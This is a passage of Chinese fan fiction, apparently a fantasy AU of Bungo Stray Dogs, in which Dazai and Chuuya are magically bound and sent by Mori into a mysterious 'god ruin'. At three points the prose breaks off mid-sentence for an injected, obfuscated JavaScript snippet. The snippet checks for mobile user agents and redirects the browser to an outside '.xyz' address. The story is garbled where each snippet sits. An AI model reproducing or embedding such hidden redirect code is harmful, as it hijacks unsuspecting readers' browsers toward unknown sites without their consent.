突如其来的变故打得中也措手不及，连挣扎的机会都没有，他的躯体在空中形成一条漂亮的抛物线，和身后那个还在一本正经欣赏掌心新生图案的绷带精相撞在一起。 触碰在一起的两颗头连接处弥漫开难以忍受的疼痛，太宰治眼冒金星，生理性泪水被逼出的情况下，快速同飞来的“暗器”分开： “中也是大笨蛋吧？打击报复，从这么远的地方飞过来，只是为了狠狠撞飞我吗？” 中也显然要伤得更重些。 他由于太过震惊，还没反应过来，在飞翔的弧度到底时张着嘴，以至于碰撞之时，不慎咬了舌头。 生锈的腥甜味道在口中弥漫，中也的舌头好长一段时间没能恢复运动，只能啰着声音：“不是，是莫名其妙飞过来的。” “哈？我看是中也不知道该怎么解释，胡乱找的借口吧？”两人的气场实在不合，一相触碰就如同天雷勾地火般爆炸开来： “我可没见到这附近有什么人或者被召唤出来的魔法生物，能让中也莫名其妙地投怀送抱，试图谋杀主人！” 愤恨的一巴掌捂住太宰治喋喋不休的嘴，中原中也强忍着舌头的疼痛，睁着水光潋滟的钴蓝色眼睛，牢牢凝视着这个无理取闹的家伙，一字一句道： “你在奇思妙想些什么？我怎么可能对你投怀送抱？” “我看你是刚刚撞坏了脑子，才能说出这么经不起推敲的事情！” “都告诉你是被一股怪力突然抡过来的了！” 鸢色与蓝色触碰的一刹那，两个人不约而同相旁边一扭脖子，随即是孩子赌气般幼稚的哼声。 “才不会和中也贴贴！” “才不会和太宰贴贴！” 异口同声间，被撞出火气的两人转身各走一方，堪堪十步，怪力再次袭来。 有所准备的中也这次记得回身看暗算自己的东西，却只看见一个连忙召唤出魔法扫帚同样在空中，向着他飞来的太宰治。 这是一股凭空出现的力，纠缠着在场的二人，绝不允许有任何一方先行离开。 看见和自己一样凭空飞起来并不断靠近的中也，太宰治又迅速让扫帚消失。 在相撞的前一秒，二人默契地相互扭过头，防止自己再参与“比比谁的脑袋更硬”这样的地狱游戏。 两个倒霉蛋横躺着摔倒地上，太宰治只觉得浑身都疼，尤其脑袋，疼得相当厉害。 他小心伸手触碰了一下被撞到的部位，不出意料摸到正在肿起的包。 “嘶。真是见鬼。”太宰治轻骂一声，旋即看向同样状态算不上太好的中也。 橘发青年紧紧皱着一张脸，还不忘为自己正名：“都说了不关我的事。你倒是找找原因啊！” 太宰治心理状态良好，在这种时候还能抬手去欣赏自己掌心，直到中也向他投来一言难尽的表情，他才幽幽道： “难道中也就没想过，现在这离奇的情况，是因为你满怀热情，毫无防备地听信了森先生的话，怂恿我画出的新魔法阵生效的效果吗？” 随着他这一番话，从魔法阵生效后短暂出现的契约自沉寂中再度露头，合二为一的羊皮纸轻飘飘从中也紧紧攥着的手中脱离，浮现在两人眼前： 【bingo！恭喜二位，成功激活爱情魔法的隐藏效果，没想到你们的感情这么好——简直是难舍难分呢】 【没办法啦，爱情魔法，会满足每一对的爱情需要！】 【恭喜二位新人激活了魔法阵的附属魔法，从此以后，没有人能再将你们分开十步远！】 【爱情，就是要这样，如胶似漆呢】 羊皮纸上显现的话语不同于之前的刻板古怪，古灵精怪的形容词里，中原中也甚至能从中找到一点古怪的熟悉欠打感。 “说实话，太宰，你对这魔法真的没有什么印象么？” 太宰治瞳孔放大，难以置信：“小狗怎么能这么污蔑主人？这么恶趣味的东西，我怎么可能会有印象？” “退一万步讲，就算真的是我弄出来的奇怪东西，我怎么可能会用在自己身上？那也太愚蠢了吧？” “更何况，森先生不是明确告诉了你，这是从那个所谓的遗迹里带出来的东西，我总不可能是个从神明时代就活着的怪物吧？” “噫——一想到要活那么久，真是让人恶心得连呼吸都要停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962284|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止了呢！” 中也当然知道太宰治不会在这种事情上开玩笑，只是怎么也没办法抑制住吐槽：“兴许是你上辈子恶趣味搞出来的东西也说不准呢？” “你看起来确实像个这么以戏弄他人为乐的人。” “那是因为中也不了解我了啦，才会对我有这么深的偏见。”太宰治并不认可中原中也带有报复意味的形容，坚决要将这样的刻板印象拒之门外。 但倘若森鸥外在此处听见了中原中也的形容，必将大为赞赏。 作为太宰治名义上的监护人，他清楚地知道，这个养子从内到外的恶劣本质，都与中也仅一眼就认出的本质完美符合。 就像是一株生长在黑暗里的毒花。 吵闹的二人最终还是回到了森鸥外的办公室，而这位一如既往坐在办公桌后的城主先生微笑着接待了二人，似乎对此早有预料。 尽管他原本穿在身上的外袍不翼而飞，身后的衣柜门正大敞开着，穿着蓬蓬公主裙的金发萝莉坐在其间，看了一眼来人后便低头，继续蹂躏着手里有着月牙袖口和古文的精致外袍。 仅剩的白色真丝内衬从某种角度而言并不算得体，至少在接待客人方面不算得体。 但森鸥外又十分从容地在桌上摊开了一本几乎有水杯厚的书，把自己营造成看起来忙于工作的样子 ——至少看起来，一切就显得像是劳累的城主不得不如此，尽管从太宰他们离开办公室起，到现在不过将将过去2个魔法计时。 系统上讲，一日也不过堪堪24个魔法计时。 “好吧，看来二位是有什么要紧事，才会再度光临。” “托您的福，我们现在甚至无法分开十步的距离。”太宰治在阴暗里，语调轻快。 “那可真是太遗憾了，毕竟莱欧城里可没有什么能满足双人黏在一起的工作。”森鸥外笑容不变：“不过我想，太宰一定有办法，能使得自己的伴侣在莱欧城里即使不工作也能生活得很好吧？” 中原中也及时将话题搬回正轨：“事实上，森鸥外先生，我只想询问，为何你给的魔法阵，没有达到预计的效果，反而将我们越绑越深？” “那真是很抱歉了，中也先生。”森鸥外的手自然地放在桌面的书上，向后翻了一页：“事实上，某些魔法阵的效果，只有创造它的人才知道，哦，兴许绘制它的人能在过程中隐隐感受到有什么作用也说不定。” “不过对于寻找本源的魔法阵而言，我到确实知晓，它和主阵法产生共鸣时，会发生一些很奇妙的事情，但总归不会对魔法阵的施加者造成什么严重到人神共愤的地步。” “太宰作为这一个世纪以来，唯一受到了魔法赐福，能不受到副作用，研究魔法阵的最强魔女，应当知晓这些东西啊。” “怎么，难道他在绘制之前，竟然没有告诉中也先生么？” 于是一切的矛头重新指向太宰治，中原中也顺着话语看向他时，绷带青年正在将自己歪掉的魔法帽扶正。 “虽然我作为一个只能通过占卜知晓未来的占星师不太懂他们学习魔法的几个职业究竟有什么弯弯绕绕，但莱欧城里不乏有被黄昏和白昼所共同建立的学院，每一个适龄的孩子都能在其中学到一些浅薄的，有关魔法大陆的知识。” “比如，有关爱情的魔法，哪怕是寻找本源的魔法阵本意上附加的契约阵法，也是希望建立契约的两个人能够感情升温，更胜一筹呢。” 笑里藏刀的狐狸就差将一切都推到太宰治头上，他甚至不加掩饰：“我想你和太宰相处这一日，大致也能知晓我这个养子一些人生准则，死亡是他追求的人生格言，而我想，要是和美丽的……殉情那可真是能令他愉悦至极的事情。” 太宰治不屑于在符合的事实上掩饰，但有一点却不得不和看似怒火中烧的中也声明：“虽然森先生这样抹黑我，但我还是不得不再做声明，我的确不知晓最初的魔法阵究竟有什么效果哦。” 5. 神明遗迹（一） 至于第二个附加的小魔法阵，他当然能感知到作用。 原本太宰治是非常非常不想绘制的，但奈何和小狗打了赌。 小狗还这么会撒娇，使得魔女大人被用湿漉漉的眼睛这么盯着——即使是令外界闻风丧胆，冷酷无情的“黑之魔女”，也是不能拒绝的。 这当然不是他的错，要怪，也只能怪中也，有那么强的好奇心，非要用这种方法去找解除两人之间契约的东西吧？ 明明可以再等一等，等到找到个完美且合适的方案再行动也不迟的吧？ 作为主人，当然是要给没心机的小狗一点惩罚。 但当直面中也明显升腾着熊熊火焰的双眼时，太宰治还是非常从善如流地打起哈哈：“不过至少，我们还是找到了一点方向——不是吗？” 中原中也一头雾水。 在他茫然的目光中，太宰治重新摸出自己的可以多用的魔法绘制笔，走到中也身边，摊开他烙印上契约花纹的掌心。 法杖沿着纹路召唤着周遭的魔法元素。 中原中也身旁的一切色彩便向着绘制笔的笔端奔涌而去。 在那些斑斓的光影之中，眼前的太宰治，似乎格外收到灰色与黑色的喜爱，混杂在期间的元素力，也以这部分居多。 随着太宰治的魔法施展完毕，中原中也的手心当中突然飘起一道浅浅的淡蓝色光，没过房间，形成一条飘摇的细线，指着门外而去。 “这是……”中也的瞳孔微微放大，他从未在此之前注意到有这样的东西。 “所以说，中也果然还是不知道啊，明明出现在身上的东西这么奇怪不是吗？竟然还放任它就这么存在着。”太宰治叹了口气，同时略带炫耀地挥了挥自己的手：“我也有哦，虽然中也看不见。” “所以那时候，你一直盯着自己的掌心，是因为从花纹出现起，就看见了这条线？”中原中也恍然察觉事情真相，不可思议。 “那是当然啦，不然仅仅一条花纹，有什么可集中注意力呢？总不会是因为意外和中也同款了吧？”太宰治语调上扬，神色间满是一切尽在掌握的从容与自满。 事实上，作为当今于魔法使用这一行最为精湛的人，除开魔女的身份，太宰治的实力毋庸置疑。 与生俱来的感知力，曾让莱欧城邦教导他的人感到不可思议的同时，更多的是一种畏惧。 没有人知晓太宰治的来历，即便是收养了他的森鸥外，也不过是因为途径密林，偶然一瞥，被这个黑发红眼，浑身缠满绷带，看起来不过几岁的孩子缠上了，被迫带回莱欧城邦的。 他的来历如同他多变的情绪，神秘而不可寻。 “我不仅能看见这条光线，甚至知道它指引的方向哦。”太宰治半眯着眼睛，大有一副“你来求我”的模样，期待着中原中也能够接他的话茬。 可惜中原中也全然没有看见，也未曾注意他说了什么，只是低头看着自己掌心凭空出现的东西。 事实上，即便不用太宰治强调，他也大致能够想通一切。 稀稀碎碎暴露在外的，从未刻意掩饰的线索，从一开始就向中也指明了一切。 而后，他转头：“所以，森先生早就知道了吧？魔法阵的作用什么的，至少也有大致的预料。”中原中也将这些细碎的线索串联起来，一时之间，对“人类”这样的生命第一次由衷感受到了无力。 “早在一开始，森先生因为所谓的遗迹，就想好了处理的方法。可惜，作为你处理方案中关键一环的太宰治，并不接受你的计划，在拒绝前往遗迹之后，你只能被迫折中选取另外的方案。” “但依照现在的情况，大概森先生的方案二是失效了吧？” 森鸥外并未反驳中原中也的话语，而是静默地坐在办公桌前，耐心地等待被他临时拉入计划，即将成为执行者的，初次来到莱欧城邦的中原中也。 即便他知晓，眼前这个橘发青年并不简单。 “啊……原来如此啊。” 早在几个月前，莱欧城邦的管辖区域内出现了一方遗迹，被谣传为“神明遗迹”，可能蕴含“大量宝藏”的地点很快被莱欧城邦的人们所关注。 在财富、能力的诱惑之下，即使莱欧城邦管辖三时的城主在经历严肃的会议讨论后，制定下禁止莱欧城邦人进入其中探索的命令，依旧有人悄悄接近，并趁守卫的松懈进入其中。 而后，处于外围的守卫便发现，这些人再也没回来。 城邦中的人民因为探索而消失不见，一旦这样的讯息被公布出去，无疑会引起轩然大波，更何况，这个被谣传为“神明遗迹”的区域，还被城邦中不知多少人虎视眈眈着。 倘若这样的消息被有心之人利用，导致他们失踪的罪魁祸首——有关那方遗迹的禁令是否还能被继续执行，就值得商榷了。 就在森鸥外为此焦头烂额之时，一封从遗迹中带来的羊皮卷成为了计划的一环。 在众所周知莱欧城最好的魔法阵专家为太宰治的情况下，将这个来自不明地点，有着不明作用的魔法阵交给太宰治处理显然是最佳选择。 而已经拒绝过森鸥外的太宰治显然无法在这种事情上再度拒绝下去。 因此他接受了这个任务，并于禁忌区域的黑之森林进行了魔法阵的绘制。 功效究竟如何，只要魔法阵生效，就是最明显的了。 所有人都会这样下意识认为。 直到太宰治从黑之森林带来了一个全然陌生的人。 “说实话，其实一开始我觉得十分奇怪。”中原中也平静道：“显然对莱欧城邦有着不一样情感，从一到黑夜之际，城邦内突然增多的守卫来看，森先生显然是一个十分警惕‘危险’因子的人。” “但对于太宰将一个来自黑之森林的陌生人带进城这件事，森先生似乎并未有太大的反应，甚至当我进入您的办公区域时，您还在同这个衣柜中的孩子进行一些奇怪的对话。” “这显然太过放松了，不是吗，属于暗夜的城主先生？” “有关这样的情况，我只能认为，在将羊皮卷交给太宰之前，你就已经对它有了一个基本的判断。” “毕竟，有着一个城堡这样大的工作区域，想要找到一些特别的资料并不是什么难事，对吗？不然你怎么会将魔法阵的下半页直接夹在一本看起来这样破旧的书内？” “让我猜一猜，这个魔法阵无论最初是什么效用，最后都会将召唤来的‘人’或者别的什么指向那个被你们缄口不言的遗迹之中吧。” 森鸥外浅淡的笑意被拉得更长，当他睁开那双一直眯着的眼睛时，才会令人恍然警觉眼前这个人并非什么优雅或是颓唐的中年无害大叔。 当血红的眼睛注视着你时，如同被毒蛇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962285|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缠绕，紧紧盯上的猎物感将达到顶峰。 那是一种只要有恐惧之心，就会无端蔓延上来的危险感受。 此时此刻，森鸥外显然褪去了他一直以来的全部伪装。 他轻轻拍了拍掌心，从办公桌后站起来。 那幅无力的文人做派在此刻消失得淋漓尽致。 与预想中的穿搭不同，他的真丝内衬紧紧压在黑色的绸缎裤子之中，腰间用黑色的，不知什么料子，镌刻着毒蛇花纹的长带压着。 他就这么一步一步走到中原中也跟前，伸手轻轻拍了拍中也的肩，优雅而邪恶的声调起伏不定：“其实，中也先生是什么，我并不关注，我只是很好奇，中也先生究竟会不会答应我的邀请。” “毕竟一开始被太宰以那样的方式拒绝，可是十足伤了我这个作为养父的心。” “能看见中也先生这样合适的人出现无疑给我带来了一丝惊喜，中也先生逻辑思维正常，更是不可多得。” “最令我意外之喜的是，太宰竟然和中也先生能够绑定在一起，而现在，你们将为了一个共同的目标前往我希望中的地点去处理一些棘手的麻烦——无论从哪个方面来看，这都是于我而言的‘最优解’。” “事实上，多亏了中也先生，才能让我这个固执的养子回心转意呀。” 太宰治在一旁未发一词，他近乎默认了森鸥外的全部话语，并默默上前一步，隔离开森鸥外对中也动手动脚的机会。 森鸥外自然地退开了。 他笑着后退，倚靠在办公桌的边缘：“不过，针对中也先生方才话语的疑问与漏洞，我想我还是有必要进行一点小小的纠正的。” “至少，得让中也先生安心，不是吗？” 早在最初，发现遗迹的其实是属于白昼城主方的人员。 由白昼代行管理人坂口安吾带领着手下发现了一处属于古老遗迹的区域。 在进行了常规勘测和初步评估后，坂口安吾将遗迹的危险性定性为B+，并将此事上报给了城主。 白昼所属的人员往往没有特别多的想法，每年莱欧城附近被发掘的遗迹数不胜数。 B+的遗迹实在算不上特别，于是，在消息的层层传递下，有关遗迹的事项不胫而走。 倘若这只是一场小小的消息泄露，其实并不会引发什么大乱子。 遗迹并不是没有，而白昼官方在找到这些地方后，往往会通过一些安全的方式，在处理完遗迹的一些棘手问题后，征集有志愿、有贡献的莱欧城人去分一杯羹。 可偏偏发生了意外。 不知是谁，传递出了这个B+待探索的遗迹可能是传说中消失已久的“神明遗迹”，而属于白昼方的官方人员正在“着手将其转交给属于黑夜方的人员处理”——甚至不是黄昏。 众所周知，倘若莱欧城中的执政分为光与暗，那么属于暗的黑夜方是绝对的独裁。 倘若黄昏时不时还会漏一些额外的“汤”给有实力的城众分一杯羹，那么黑夜则是悉数占有。 交由他们手中的遗迹，从未有过能够再回到大众视线的。 别的遗迹就算了，即使知道，也不会有人敢于挑战黑夜的权威。 但这是“神明遗迹”——没有人知道，里面究竟有什么令人疯狂的东西。 即使它未加证明。 异变瞬生。 6. 神明遗迹（二） 一队探险雇佣兵背着官方的限制令悄悄接近遗迹，在被发现后几乎不要命般直接向遗迹中冲去。 即便当时的护卫队长，芥川龙之介以最快的速度跟在其后，试图制止他们，也依旧没能来得及。 更加糟糕的是，开放的遗迹将在其后的芥川一同拉了进去。 与之同行此任务的，还有当时从黄昏借到黑夜的中岛敦。 更加糟糕的是，从他们俩被圈入遗迹之后便杳无音讯——甚至连他们记录在册的生命体征探测器都失去了效用。 至此，双方一连失去两个重要战力，而他们追捕的那一队违规者，也再无消息。 他们就像是凭空蒸发，没能在这世界上留下任何踪迹。 森鸥外在得知消息后，立刻同管理黄昏的城主福泽谕吉进行交涉，在双方意见统一下，原本准备派太宰治去一探究竟。 但万万没想到，这位看起来吊儿郎当的“黑之魔女”对此毫无兴趣，并且用自己的方式拒绝了任务的派发，转手交给了其他人。 因为太宰治身份和能力的缘故，在他明确拒绝的情况下，其实莱欧城方并不能强制要求太宰执行任务。 过往的事件里，也曾有任务到一半，他突然撂挑子不干，扔下烂尾的工作交由别人头疼的先例。 没有人能摸清楚他究竟是怎么想的。 “遗迹会阻绝消息，无法探测到进入其中人员生命体征的事件，我们还是第一次遇到。”森鸥外略略叹气：“福泽殿下甚至为此动用了边界莱特皇室的资源。” “事实上，在经过多方查证后，我们不得不承认，遗迹表现出来的种种异样，都同古籍中记载的‘神明遗迹’有一定相似度。” “当遗迹涉及到神明之时，我们便不能再随意派人进入其中。依据现有的人手，距离神明最近，受到过恩赐的，只有太宰。” “他无疑是进入其中的最佳人选。” “可惜他不愿意。” 森鸥外以一种相当遗憾的姿态表露一切，言语当中，却没有半分遗憾。 “所幸，进入其中的芥川队长作为亡灵法师，能力非常好用。在他们失踪的第七天，芥川龙之介用自己契约的‘罗生门’，将和他同行的中岛敦送了出来。” “我们从中岛敦身上找到了一张绘制着魔法阵的羊皮卷，和一张由芥川队长攥写，字迹十分潦草的通讯信息。尽管芥川龙之介至今生死未卜，我们却从中得到了很大帮助。” “等等，既然有人从里面出来了，那么为什么不找他询问遗迹中的讯息呢？”听到这里，中原中也及时打断。 “中也先生相当敏锐呢。但很可惜，这个方法是行不通的。”森鸥外面色如旧，转身，伸手拨动桌面右下角放置的一块刻有和他袖口上如出一辙月牙印记的浮雕。 小型的简单魔法阵应和启动，浮动于空中形成一颗漂亮的七芒星。 旋即，森鸥外身后的衣柜向两边移动，其中的金发爱丽丝早已扔下那件被蹂躏得不成样子的外袍，跑到房间角落和一堆积木玩具进行交流。 自发挪开的衣柜之后，是一扇光屏，其后的一道房间门被光屏挤在边角之处。 森鸥外坐在办公椅上，侧身滑动，拿起桌上摆放的一通台式通讯机，用生涩的语言快速说了几句话，旋即光屏之上出现了一个躺在病床上，半人半虎形态，通体白化，昏迷不醒的少年。 “如您所见，中也先生，这位属于‘月下白虎’这一神兽种族最后的血脉，自遗迹当中出来之后，便处于昏迷状态。” “具疗愈系的魔法导师与谢野晶子小姐言，他的一半魂灵不知所踪。” “事实上，当他从遗迹中被‘扔出来’的时候，身上还被‘罗生门’严严实实地缠绕保护着，我们并未从他身上找到任何伤口。他的昏迷原因无从寻找，身上甚至没有一丝一毫被施加了魔法的踪迹——就连元素波动，都平静得近乎没有。” 森鸥外无奈地摊了摊手。 中岛敦作为被灭族的‘月下白虎’这一神兽种族的遗孤，身体的再生能力与基础体能都远超常人。 由于神兽总是会被上天格外溺爱，他甚至能够免疫大部分基础的元素魔法。 但有着这样体质的白虎少年，竟然在遗迹之中被莫名其妙抽走半数的魂灵，只能处于昏迷不醒的状态。 “依照城邦法律，我们并不能对他使用会伤害魂灵的搜魂魔法，那会直接要了他的命。” 那张被护在虎化的中岛敦胸前的通讯纸条上，只用十分潦草的字迹写下“危险”，除此之外，再无多言。 线索至此断裂，没有人知道遗迹当中发生了什么，就像除了中岛敦之外，没有人知道，他究竟是怎样被芥川龙之介的“罗生门”缠绕着，以近乎逃亡般从遗迹当中扔甩出来，而后落于遗迹外昼夜把守，不留任何时间空隙的护卫队视线当中。 一切的一切，好像都在向所有人彰显着，这一处遗迹应当封锁。 但倘若就在此处停止，以现下莱欧城邦中多方势力对遗迹“虎视眈眈”下，根本无法就此脱手。 并且，已经有人上报了那一队探险雇佣兵失踪的消息，在公众的视线下，他们无法就此停下。 更何况，芥川龙之介还在遗迹当中。 森鸥外在多番考虑下，用迂回的方式，重新布了一个局。 早在太宰治绘制羊皮卷的魔法阵前，他就已经知晓这是个召唤类型的魔法阵。 原本的计划中，森鸥外只是想要将召唤出的东西通过城堡中的大型魔法阵打上烙印，以强制的方式迫使召唤出的东西代替前往遗迹当中。 属于遗迹中的魔法阵，无论召唤出什么，前往魔法阵都会事半功倍。 他们甚至不会为此有分毫损失。 但他没有想到的是，召唤出来的，竟然是一个如此年轻且陌生，有着独立思考能力，完全是凭空出现的橘发青年。 更意外的是，通过这个魔法阵竟然间接将一直置身事外的太宰治拉入局中。 倘若太宰治能跟着实行这个计划，那么，后续的一切问题都将迎刃而解。 至于中原中也究竟是什么，森鸥外并不关心。 他是一个奉行“最优解”的人，而眼下的情形，是结果最好的那种解。 于情于理，他没有任何放过的可能。 “我已将所有事情和盘托出，向中也展现了我的诚意。那么，已经和遗迹链接到一起的中也，是否愿意接受我的提议呢？” 森鸥外将椅子重新转正，面向中原中也，赋予他足够的尊重与耐心。 在冗长的沉默当中，议台的双方都以坦诚相见。 中原中也深呼吸：“其实我已经没得选了，对吧？” 倘若中原中也拒绝，森鸥外会毫不犹豫启 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962286|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动最开始的计划——将召唤出来的东西带到能打下强制烙印的魔法阵当中。 森鸥外对此但笑不语。 “我答应你。” “那么，合作愉快。” 森鸥外脸上的笑意显得真实许多，起身，伸出一只手。 中原中也面无表情单手拍了拍森鸥外的手掌。 在收回手时，他注意到森鸥外一直好奇地盯着自己的手腕，目不转睛。 微微皱眉：“怎么，你也有？” 黑暗处默不作声的太宰治在此时合理地冒头，伸手抓回中也的视线，笑得欠打极了：“森先生才看不见呢，他甚至连元素都感知到不到呢。” “一般，在占星术方面越有天赋的，对于元素的亲和力就越低。这种人，是一辈子都没机会和魔法沾边的。” 中原中也回想到最初森鸥外使用的几个小型魔法阵，太宰治对此简直了如指掌，不等中原中也产生疑问，便提前告知：“那是我闲得没事做的一些便捷魔法阵。” “这些东西只要用特殊方法刻在合适的地方，注入制造者的魔力，就能照常使用哦——只是需要定期补充元素魔法力。” 他的语气散漫，脸上如同黑猫般洋洋得意的傲娇感却不似作伪。 “太宰的确用这样的方式赚了不少外快。”森鸥外在一旁适时补充：“从资产方面而言，太宰确实是个值得托付的对象。” 尽管太宰治说得随意，但中原中也还是能感觉到这些东西并不像表现出来那样简单。 它们从侧面角度证实了太宰治的实力。 中原中也微窘，低声喃喃：“这家伙不管从什么角度看，都和值得托付沾不上边吧。” 该说不说，不愧是父子，连一本正经地昧良心说话都能如此相似。 “好啦好啦，夜长梦多，我的倒霉学生还在遗迹里嗷嗷待哺呢。”太宰治歪头，单眼快速睁眨，笑得无害。 倘若不是先前和森鸥外得对峙中，曾反复听到“太宰治拒绝进入遗迹”，中原中也都快以为他是什么探索狂魔，对此报以极大热情了。 “太宰真是相当有干劲嘛，这么期待和中也的探险啊。”森鸥外在一旁拱火，显然对于看乐子，同样有着极大爱好。 “啊，倘若不是森先生这么恶心，我也不会这样没干劲啊。只要别见到你这张倒胃口的脸，让我做什么都行啊。”太宰治微微后仰，白眼一圈，对森鸥外的怨气简直快要将中也腌入味。 中原中也挥开他悄无声息靠过来的头，撇撇嘴。 “走吧，太宰。” 中也转身，预备向门外而去。 “哎？中也要去哪里？”太宰治惊异地凑上前，拦住中也的去路。 “顺着它的指引走呗。” “啊，不用这么麻烦啦。”太宰治笑着牵住中也被笼在他魔法外袍下的手，回身向着森鸥外背后的光屏而去。 中也完全顺从于他的安排，默默跟在后面。 太宰治走到那扇被光屏挤到最下方，被人忽视的门处，伸手按住把手，尾音轻轻上扬：“准备好了，三、二、一——” “见证奇迹——” 在中也的视角里，如潮水般的元素色彩如同漫天星河，向着太宰治奔涌而去。 他的手和门扉相链接的地方，复杂的芒星交叠着闪现，被推开的门后，光辉将人温柔地笼罩其中。 7. 神明遗迹（三） 太宰治的确有迷人的资本。 他的一举一动，总在不经意间彰显自己的魅力。 当太宰治再度牵着中原中也的手从空中降落到地时，眼前是一片被封锁着的，绘制在地面上的大型魔法阵。 穿着相同的，有着月牙印记制服的各种族人正巡回驻守在这一片魔法阵前三十米处，腰间统一别着各式武器。 整个区域密不透风，每个人都神情严肃。 见到从空中突然降落的两人，首位的巡回队成员上前，却又在看见太宰治的瞬间礼貌性推后三步。 “太宰大人。”巡回队员微微低头：“一切正常，我们已经妥善处理了接近这里的人，太宰大人之前在这附近设置的预防外人闯入内圈的魔法运转良好。” “请问太宰大人有什么指示吗？” 他的语气公正而僵硬，在不经意对上太宰治的视线时，额头上冒出的冷汗坠落，自皮肤上划出一串鸡皮疙瘩。 太宰治面色如常，从空中重新抓出隐去身形的魔法扫帚，自其间的水晶石上摸索了一阵，才掏出一张布满灰尘的银色手谕。 “我们是来处理遗迹的，除了让我与中也进去外，其余照旧。” “是的，魔女大人。” 银色手谕亮出来的一瞬间，这个紧张的巡回队驻守成员立刻绷直身体站立，向太宰治的方向敬了一个标准的礼仪后，转身跑向来时的队伍。 紧接着，这些驻守成员便有序地退让开一条供两个人通过的通道。 “啊，他们会叫两个称谓，是因为魔女是我的职位呀。” 太宰治走在最前面，没忘了继续和一无所知的中也科普：“银色手谕是森先生做出的，统领黑夜的没用东西。” “这东西有时效性，据说见到它和见到森先生没什么差别。” 太宰治眉梢上挑：“一张纸可以代表一切，真是可笑的出现方式呢。” 他蹭亮的皮质长靴在碎石地面上踩出轻微连串的噼里啪啦响，通过那条由人与其它种族构成的窄道时，还没忘了接上吐槽： “这些东西的无聊程度和森先生有的一拼呢。” 话语坠落，三十米的距离终止。 太宰治依旧紧紧拉着中原中也的手，转身笑到：“我是不是应该先给中也一身合适的衣服？” “可惜时间匆忙，我忘记买了，不过用魔法临时变一套的馊主意好像还不错——” 在中原中也堪称不解的目光中，他话锋一转：“开玩笑的，那和让中也在街道上裸奔有什么区别？” “即使是小狗，应该也无法接受这样的羞辱啦。” “不要自说自话啊喂!”中原中也拉长声音，反用力握紧太宰治的手。 交错的指节微微有些发疼，但意外地感觉还不错。 太宰治松了口气，鸢色的眼眸里满是笑意：“那么，准备好了哦!” 他牵着中也迈开脚步，越来越快，越来越快，直至纵身一跃，脚下的魔法阵扭曲了眼前的空气，四周的元素色彩变得躁动不安。 当两人完全进入其中时，地面的魔法阵光芒迅速褪去，而后白练袭击了二人，眼前漆黑的同时，也失去了对身体的感知。 真是意料当中的糟糕啊。 太宰治顺从地闭上眼。 “嘿，你们是哪里来的外乡人？也是慕名来参加我们城主的婚礼吗？”一道爽朗的笑声从身前传来，太宰治睁开眼，转头看见牵着的中也正蜷缩在那件魔法袍里，倚靠在他的肩膀上，睡得正香。 还好，至少没有弄丢小狗。 此时此刻，二人正依偎在一起，躺在一辆被马拉着，绑满草料的板车上。 前方是一个挥着鞭子，时不时驱赶棕色马匹向前加速，戴着破旧草帽的中年男人。 “对啊。”太宰治抿唇，露出一个和善而纯真的笑容。 他浓密的睫毛在空中微微颤动，一双眼仿佛是因艳阳天灼热的光而睁不完全：“我和新婚的妻子决定出远门蜜月旅行，正好听说这里有一场婚礼，想着来沾沾喜气，顺便体验人文风情呢。” 他的语调起伏轻柔，尾音每每会拐上几个弯，配合着少年人独有的乐器般的优雅，总会让不熟悉的人为此感到亲切万分，一瞬间便能拉近距离。 “还得多谢大叔能够载我们一程，不然还不知道要走多久。” 见太宰治如此有诚意，满怀谦逊的回复，驱车的大叔也跟着开朗爽笑：“哈哈哈，那有什么，我也是去隔壁城镇收草料回来顺路啊。” “还是因为你们不嫌弃，才有机会这样幸运，能够栽到一对这样幸福的小夫妻呢。” “秩序之神在上，城主的婚礼一定能更加幸福！” 太宰治点头附和，微微收敛的神色状似带有一些浅薄的羞赫。 逗得驱车大叔笑个不停，连固定时间飞扬的长鞭都为此凝滞了两三拍。 马匹的速度微微减慢，颠簸感降低不少。 驱车大叔很快又恢复了扬鞭的频率：“你们可是来对啦！我们赫尔城可是相当好玩的地方！” “在城主的带领下，我们城里人的生活相当富庶，这次为了城主的婚礼，特别设置了城中七日的免费祭！” “只要是真心来祝愿城主新婚的人，都能在城里免费游玩七日呢。” “借此机会，你也可以和你的小妻子一起度过一个美好的蜜月。” “那真是万分感谢呢。”太宰治的笑意加深，整个人显得蓬松至极：“我也很期待我们的蜜月旅行。” “有大家这样热情的筹备，想必第七日的婚礼一定能给我们带来前所未有的震撼。” “哈哈哈哈，那是当然！”一旦打开了话匣子，驱车的大叔就仿佛有充沛的精力去回复来自异乡的旅客：“赫尔城的每个城民可都是为此卯足了劲儿！” 